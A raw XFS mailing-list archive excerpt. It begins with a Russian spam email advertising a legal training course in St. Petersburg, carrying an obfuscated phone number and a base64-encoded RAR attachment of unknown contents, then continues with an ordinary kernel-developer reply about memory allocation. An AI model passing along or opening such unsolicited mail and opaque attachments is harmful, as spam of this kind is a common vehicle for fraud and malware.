=F1=EF=E8=F1=EE=EA =F2=E5=EC, =E0 =F2=E0=EA=E6=E5 =F2=EE= =F7=ED=EE=E5 =F0=E0=F1=EF=E8=F1=E0=ED=E8=E5 =C2=FB =EC=EE=E6=E5=F2=E5 =F3= =E7=ED=E0=F2=FC =F3 =ED=E0=F8=E5=E3=EE =F1=E5=EA=F0=E5=F2=E0=F0=FF =E2 =D1= =CF=E1: +7 - =CF=E8=F2=E5=F0 - 6=F7..2 .. 5O -- 9I ------=_NextPart_001_19AC_01CEA83A.992659C0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =EF=EE=EF=F3=EB=FF=F0=ED=FB=E9 = =CA=D3=D0=D1 =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8= =E8 =F1 =ED=E0=F1=F2=EE=FF=F9=E8=EC =C0=D2=D2=C5=D1=D2=C0=D2=CE=CC =E3=EE= =F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 =EF=EE =F2= =E5=EC=E5:

=D1=F0=E5=E4=E8 =F2=E5=EC:
-= =D3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8;
- =CF=F0=EE=F2= =E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1=EA=E8=EC= =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1=F2=ED=FB= =F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2;
- =CE=F1=ED=EE=E2=ED= =FB=E5 =EF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF =E4=EE=E3=EE=E2= =EE=F0=EE=E2;
- =D0=E0=E1=EE=F2=E0 =EF=EE =E2=FB=FF=E2=EB=E5= =ED=E8=FE =ED=E0=F0=F3=F8=E5=ED=E8=E9 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1= =EB=EE=E2=E8=E9;
- =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =FE=F0=E8=E4= =E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E5=EA=F0=E0=F9=E5=ED=E8= =FF =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2; =
- =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=EA=F2=E8=F7=E5=F1= =EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F0=E0=E1=EE=F2=FB =F1 =E4=E5=E1=E8=F2=EE= =F0=E0=EC=E8 =ED=E0 =E4=EE=F1=F3=E4=E5=E1=ED=EE=E9 =F1=F2=E0=E4=E8=E8 =E8= =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=E8 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E9 =EF=F0= =E5=F2=E5=ED=E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE=F2=FB;
- =DE=F0= =E8=E4=E8=F7=E5=F1=EA=E0=FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED=F2=F0=E0=E3= =E5=ED=F2=EE=E2;
- =D1=E1=EE=F0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8= =EE =F4=E8=ED=E0=ED=F1=EE=E2=EE=EC =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=EE=EB= =E6=ED=E8=EA=E0 =E8 =EE=EF=F0=E5=E4=E5=EB=E5=ED=E8=E5 =EF=E5=F0=F1=EF=E5=EA= =F2=E8=E2 =F4=E0=EA=F2=E8=F7=E5=F1=EA=EE=E3=EE =E2=E7=FB=F1=EA=E0=ED=E8=FF= ;
- =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8= =FF =ED=E5=F3=F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4= =EE=E2=FB=F5;
- =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =E8=F1=EA=EE=E2= =FB=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2= =E5=E4=E5=ED=E8=FF =E4=E5=EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0= =ED=E0=F5;

=

=C7=E0=ED=FF=F2=E8=FF =ED=E0=F7=ED=F3=F2=F1=FF =F1= 2=C7 =F1=E5=ED=F2=FF=E1=F0=FF 2=EEI=C7=E3. =E2 =F1=E0=EC=EE=EC =F6=E5=ED= =F2=F0=E5 =D1=CF=E1.

=C2 =EA=EE=ED=F6=E5 =EA=F3=F0=F1= =E0 =E1=F3=E4=E5=F2 =E2=FB=E4=E0=E2=E0=F2=FC=F1=FF =ED=E0=F1=F2=EE=FF=F9=E8= =E9 =C0=F2=F2=E5=F1=F2=E0=F2 =EE =EA=F0=E0=F2=EA=EE=F1=F0=EE=F7=ED=EE=EC = =EF=EE=E2=FB=F8=E5=ED=E8=E8 =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =E3=EE=F1= =F3=E4=E0=F0=F1=F2. =EE=E1=F0=E0=E7=F6=E0.

=CF=EE=EB= =ED=FB=E9 =F1=EF=E8=F1=EE=EA =F2=E5=EC, =E0 =F2=E0=EA=E6=E5 =F2=EE=F7=ED=EE= =E5 =F0=E0=F1=EF=E8=F1=E0=ED=E8=E5 =C2=FB =EC=EE=E6=E5=F2=E5 =F3=E7=ED=E0= =F2=FC =F3 =ED=E0=F8=E5=E3=EE =F1=E5=EA=F0=E5=F2=E0=F0=FF =E2 =D1=CF=E1: = +7 - =CF=E8=F2=E5=F0 - 6=F7..2 .. 5O -- 9I

------=_NextPart_001_19AC_01CEA83A.992659C0-- ------=_NextPart_000_19AB_01CEA83A.992659C0 Content-Type: application/octet-stream; name="programma na sentyabr.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="programma na sentyabr.rar" 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 ------=_NextPart_000_19AB_01CEA83A.992659C0-- From david@fromorbit.com Mon Sep 2 17:20:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0F87329DFB for ; Mon, 2 Sep 2013 17:20:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E13DC30406B for ; Mon, 2 Sep 2013 15:20:41 -0700 (PDT) X-ASG-Debug-ID: 1378160439-04cbb02c3acf2f90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id B76ob2a32W7mh3OZ for ; Mon, 02 Sep 2013 15:20:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhgHAKUOJVJ5LJ62/2dsb2JhbABagweDRLh5hTmBKxd0giQBAQU6HCMQCAMYCSUPBSUDIROIAbkfFo9gB4QdA5Qbg1mRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 07:50:09 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGcTc-00027a-DQ; Tue, 03 Sep 2013 08:20:04 +1000 Date: Tue, 3 Sep 2013 08:20:04 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures Message-ID: <20130902222004.GI12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5224C4E9.8080604@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378160439 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140161 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 12:03:37PM -0500, Mark Tinguely wrote: > On 09/02/13 05:52, Dave Chinner wrote: > >Hi folks, > > > >These failures are a result of order-4 allocations being done on v5 > >filesystems to support the large ACL count xattrs. The first patch > >puts out usual falbback to vmalloc workaround in place. The second > >patch factors all the places we now have this fallback-to-vmalloc > >and makes it transparent to the callers. > > > >Cheers, > > > >Dave. > > Thanks for clean up. Broken record time: Do we really need order > allocation in the filesystem? Esp in xfs_ioctl.c. I don't understand your question. Are you asking why we need high order allocation? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 2 19:07:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D3BAD7F54 for ; Mon, 2 Sep 2013 19:07:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A6D468F8049 for ; Mon, 2 Sep 2013 17:07:03 -0700 (PDT) X-ASG-Debug-ID: 1378166821-04bdf02f22d23410001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IA6PvU8p4MQD3TsG for ; Mon, 02 Sep 2013 17:07:01 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhcHALYnJVJ5LJ62/2dsb2JhbABagweDRLh6hTmBKhd0giQBAQUnExwzCBgMJQ8FJQM0iAG5LhaPZxaEBwOUG4NZkWeDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 09:37:01 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGe94-0002IT-RU for xfs@oss.sgi.com; 